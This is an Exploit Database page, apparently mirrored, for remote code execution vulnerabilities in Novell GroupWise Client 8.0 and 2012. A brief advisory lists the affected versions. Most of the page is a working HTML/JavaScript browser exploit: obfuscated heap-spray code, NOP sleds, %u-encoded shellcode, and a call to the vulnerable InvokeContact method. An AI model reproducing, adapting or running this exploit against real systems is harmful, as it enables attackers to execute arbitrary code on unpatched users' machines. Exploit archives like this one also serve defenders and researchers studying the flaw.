Novell Groupwise Client 8.0 – Multiple Remote Code Execution Vulnerabilities

Exploit Database
112 阅读

作者： High-Tech Bridge

日期： 2013-01-31
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/38250/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

source: https://www.securityfocus.com/bid/57657/info

Novell Groupwise Client is prone to multiple remote code-execution vulnerabilities.

A remote attacker can leverage this issue to execute arbitrary code within the context of the application. Successful exploits will compromise the application, and possibly, the underlying computer.

The following versions are vulnerable:

Versions prior to 8.0.3 Hot Patch 2

Versions prior to GroupWise 2012 SP1 Hot Patch 1

<html>

<Title>- Novell GroupWise 12.0 InvokeContact method Exploit - </Title>

function GyGguPonxZoADbtgXPS() {

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl = function(maxAlloc, heapBase) {

this.maxAlloc = (maxAlloc ? maxAlloc : 65535);

this.heapBase = (heapBase ? heapBase : 0x150000);

this.KJZFzfumaV = "AAAA";

while (4 + this.KJZFzfumaV.length*2 + 2 < this.maxAlloc) {

this.KJZFzfumaV += this.KJZFzfumaV;

}

this.mem = new Array();

this.AocZkxOTvEXwFTsIPMSanrManzYrte();

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.mNhbOXqosTNKjGhfj = function(msg) {

void(Math.atan2(0xbabe, msg));

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.YMQLSZf = function(enable) {

if (enable == true)

void(Math.atan(0xbabe));

else

void(Math.asin(0xbabe));

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.ooWKILTrZUXKEMl = function(msg) {

void(Math.acos(0xbabe));

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.zoNWUcOOYegFinTDSbOSAAM = function(len) {

if (len > this.KJZFzfumaV.length)

throw "Requested zoNWUcOOYegFinTDSbOSAAM string length " + len + ", only " + this.KJZFzfumaV.length + " available";

return this.KJZFzfumaV.substr(0, len);

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.UWzqrDQwReXOllGssMYEzruQtomLp = function(num, UWzqrDQwReXOllGssMYEzruQtomLp) {

if (UWzqrDQwReXOllGssMYEzruQtomLp == 0)

throw "Round argument cannot be 0";

return parseInt((num + (UWzqrDQwReXOllGssMYEzruQtomLp-1)) / UWzqrDQwReXOllGssMYEzruQtomLp) * UWzqrDQwReXOllGssMYEzruQtomLp;

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.beTBwoiJGBBhwyZg = function(num, width)

{

var digits = "0123456789ABCDEF";

var beTBwoiJGBBhwyZg = digits.substr(num & 0xF, 1);

while (num > 0xF) {

num = num >>> 4;

beTBwoiJGBBhwyZg = digits.substr(num & 0xF, 1) + beTBwoiJGBBhwyZg;

}

var width = (width ? width : 0);

while (beTBwoiJGBBhwyZg.length < width)

beTBwoiJGBBhwyZg = "0" + beTBwoiJGBBhwyZg;

return beTBwoiJGBBhwyZg;

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.RBRfbU = function(RBRfbU) {

return unescape("%u" + this.beTBwoiJGBBhwyZg(RBRfbU & 0xFFFF, 4) + "%u" + this.beTBwoiJGBBhwyZg((RBRfbU >> 16) & 0xFFFF, 4));

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.nPdkLCpaz = function(arg, tag) {

var size;

if (typeof arg == "string" || arg instanceof String)

size = 4 + arg.length*2 + 2;

else

size = arg;

if ((size & 0xf) != 0)

throw "Allocation size " + size + " must be a multiple of 16";

if (this.mem[tag] === undefined)

this.mem[tag] = new Array();

if (typeof arg == "string" || arg instanceof String) {

this.mem[tag].push(arg.substr(0, arg.length));

}

else {

this.mem[tag].push(this.zoNWUcOOYegFinTDSbOSAAM((arg-6)/2));

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.SWc = function(tag) {

delete this.mem[tag];

CollectGarbage();

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.AocZkxOTvEXwFTsIPMSanrManzYrte = function() {

this.mNhbOXqosTNKjGhfj("Flushing the OLEAUT32 cache");

this.SWc("oleaut32");

for (var i = 0; i < 6; i++) {

this.nPdkLCpaz(32, "oleaut32");

this.nPdkLCpaz(64, "oleaut32");

this.nPdkLCpaz(256, "oleaut32");

this.nPdkLCpaz(32768, "oleaut32");

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.uYiBaSLpjlOJJdhFAb = function(arg, tag) {

var size;

if (typeof arg == "string" || arg instanceof String)

size = 4 + arg.length*2 + 2;

else

size = arg;

if (size == 32 || size == 64 || size == 256 || size == 32768)

throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";

this.nPdkLCpaz(arg, tag);

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.K = function(tag) {

this.SWc(tag);

this.AocZkxOTvEXwFTsIPMSanrManzYrte();

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.WbTbmzXVnhA = function() {

this.mNhbOXqosTNKjGhfj("Running the garbage collector");

CollectGarbage();

this.AocZkxOTvEXwFTsIPMSanrManzYrte();

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.ZsJjplNR = function(arg, count) {

var count = (count ? count : 1);

for (var i = 0; i < count; i++) {

this.uYiBaSLpjlOJJdhFAb(arg);

this.uYiBaSLpjlOJJdhFAb(arg, "ZsJjplNR");

}

this.uYiBaSLpjlOJJdhFAb(arg);

this.K("ZsJjplNR");

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.WbjLbPsZ = function(arg, count) {

var size;

if (typeof arg == "string" || arg instanceof String)

size = 4 + arg.length*2 + 2;

else

size = arg;

if ((size & 0xf) != 0)

throw "Allocation size " + size + " must be a multiple of 16";

if (size+8 >= 1024)

throw("Maximum WbjLbPsZ block size is 1008 bytes");

var count = (count ? count : 1);

for (var i = 0; i < count; i++)

this.uYiBaSLpjlOJJdhFAb(arg, "WbjLbPsZ");

this.K("WbjLbPsZ");

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.foURAtIhCeelDtsbOQrWNdbMLDvFP = function(arg)

{

var size;

if (typeof arg == "string" || arg instanceof String)

size = 4 + arg.length*2 + 2;

else

size = arg;

if ((size & 0xf) != 0)

throw "Allocation size " + size + " must be a multiple of 16";

if (size+8 >= 1024)

throw("Maximum WbjLbPsZ block size is 1008 bytes");

return this.heapBase + 0x688 + ((size+8)/8)*48;

}

GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl.prototype.udIUhjCc = function(shellcode, jmpecx, size) {

var size = (size ? size : 1008);

if ((size & 0xf) != 0)

throw "Vtable size " + size + " must be a multiple of 16";

if (shellcode.length*2 > size-138)

throw("Maximum shellcode length is " + (size-138) + " bytes");

var udIUhjCc = unescape("%u9090%u7ceb")

for (var i = 0; i < 124/4; i++)

udIUhjCc += this.RBRfbU(jmpecx);

udIUhjCc += unescape("%u0028%u0028") +

shellcode + heap.zoNWUcOOYegFinTDSbOSAAM((size-138)/2 - shellcode.length);

return udIUhjCc;

}

var heap_obj = new GyGguPonxZoADbtgXPS.fCIgzuiPwtTRcuxDXwnvOKNl(0x10000);

var payload2 = unescape(

"%u4242%u4242%u4242%u4242%ucccc%ucccc%ucccc%ucccc%ucccc%u0c40%u0c0c%u0c44%u0c0c%u0c48%u0c0c%ue8fc%u0089%u0000%u8960%u31e5" +

"%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b" +

"%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf" +

"%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b" +

"%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd" +

"%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063" +

"");

var payload = unescape("%u0c0c%u0c0c%u0003%u0000%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");

var zoNWUcOOYegFinTDSbOSAAM = unescape("%u9090%u9090");

while (zoNWUcOOYegFinTDSbOSAAM.length < 0x1000) zoNWUcOOYegFinTDSbOSAAM += zoNWUcOOYegFinTDSbOSAAM;

offset_length = 0x5F6;

junk_offset = zoNWUcOOYegFinTDSbOSAAM.substring(0, offset_length);

var shellcode = junk_offset + payload + payload2 + zoNWUcOOYegFinTDSbOSAAM.substring(0, 0x800 - payload2.length - junk_offset.length - payload.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(2, 0x40000 - 0x21);

for (var i=0; i < 250; i++) {

heap_obj.uYiBaSLpjlOJJdhFAb(block);

}

ctrl.InvokeContact(202116108)

</script>

</html>